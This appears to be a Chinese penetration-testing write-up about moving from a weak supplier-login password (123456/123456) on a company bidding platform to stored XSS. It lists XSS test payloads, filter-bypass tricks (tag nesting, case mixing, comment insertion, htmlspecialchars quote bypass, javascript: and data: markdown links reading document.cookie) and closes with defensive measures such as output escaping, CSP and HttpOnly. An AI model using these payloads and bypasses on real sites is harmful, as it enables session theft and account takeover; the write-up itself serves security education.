对某公司一次弱口令到存储型xss挖掘
字数 954 2025-08-09 13:33:52
存储型XSS漏洞挖掘与绕过技术详解
免责声明
渗透过程为授权测试,所有漏洞均已提交相关平台。本文目的只为分享挖掘思路和知识传播,请勿用于非法用途。
涉及知识点
- XSS注入原理
- XSS注入绕过技术
- HTML实体编码
- 前端过滤机制及其绕过方法
漏洞挖掘过程
初始发现
在一次针对某工程公司项目招标平台的信息收集中,发现供应商登录入口存在弱口令漏洞:
- 用户名:123456
- 密码:123456
成功登录后,在供应商资料页面发现多个输入点,尝试进行XSS测试。
XSS测试语句库
输入框测试语句
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
图片标签测试语句
">
">
编辑器测试语句
[a](javascript:window.onerror=alert;throw%201)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](j a v a s c r i p t:prompt(document.cookie))
[a](javascript:prompt(document.cookie))
漏洞确认
在"股份/责任人"输入栏成功注入:
<script>alert('XSS')</script>
查看DOM源码确认注入成功。
绕过技术详解
1. 标签闭合转义绕过
系统将</script>转义为<="" script="">,且多个/只被转义为=""。
绕过方法:
-
转换法:
<scrIPT>alERT(1111)</scRIPT> <!-- 大小写混淆 --> <scri<script>pt>alert(1111)</scri</script>pt> <!-- 标签嵌套 --> <scri<!--test-->pt>alert(111)</scri<!--test-->pt> <!-- 注释干扰 --> -
编码法:使用各种编码方式绕过后台过滤
2. htmlspecialchars()函数绕过
该函数将特殊字符转换为HTML实体:
&→&"→"'→'<→<>→>
引用类型:
ENT_COMPAT- 默认,仅编码双引号ENT_QUOTES- 编码双引号和单引号ENT_NOQUOTES- 不编码任何引号
构造绕过语句:
q'οnclick='alert(1111)'
XSS利用进阶
成功注入后,可利用XSS平台进行进一步利用,如:
- 窃取用户cookie
- 发起CSRF攻击
- 进行钓鱼攻击
XSS防御措施
总原则:输入做过滤,输出做转义
-
输入过滤:
- 根据业务需求进行严格过滤
- 如输入手机号则只允许数字格式
-
输出转义:
- 所有输出到前端的数据都根据输出点进行转义
- HTML输出进行HTML实体转义
- JS输出进行JS转义
-
其他措施:
- 使用CSP(Content Security Policy)
- 设置HttpOnly标志保护cookie
- 使用X-XSS-Protection头部
总结
本次漏洞挖掘展示了从弱口令发现到存储型XSS的完整过程,重点在于:
- 全面测试所有输入点
- 了解系统过滤机制
- 灵活运用各种绕过技术
- 针对不同场景构造有效payload
安全开发人员应重视输入验证和输出编码,防御此类攻击。